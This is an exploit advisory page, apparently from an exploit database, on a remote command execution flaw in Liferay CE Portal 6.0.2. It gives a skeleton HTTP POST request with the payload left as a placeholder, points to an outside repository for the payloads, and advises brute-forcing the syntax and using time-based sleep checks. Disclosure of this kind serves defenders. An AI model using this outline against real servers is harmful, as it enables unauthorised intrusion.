Liferay CE Portal 6.0.2 Remote Command Execution

2020.01.30
Credit: Berk Dusunur
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

# Exploit Title: Liferay CE Portal 6.0.2 - Remote Command Execution # Google Dork: N/A # Date: 2020-01-29 # Exploit Author: Berk Dusunur # Vendor Homepage: https://www.liferay.com/ # Software Link: https://sourceforge.net/projects/lportal/files/Liferay%20Portal/6.0.2/ # https://github.com/chakadev/Liferay-CE-Portal-Java-Deserialization # Version: 6.0.2 # Tested on: MacOS # CVE : N/A #PoC I already shared payloads in my github repo (Because payloads so small and have a meta character). You must find the right syntax by brute-force method.Payloads I share are for time-based proof of concept (sleep 10). The application may not always output the command. That's why you should try time-based payload while doing PoC. POST /api/liferay HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Accept: text/html,application/xhtml+xml,application/xml;q=0.9 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close PAYLOADS HERE


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top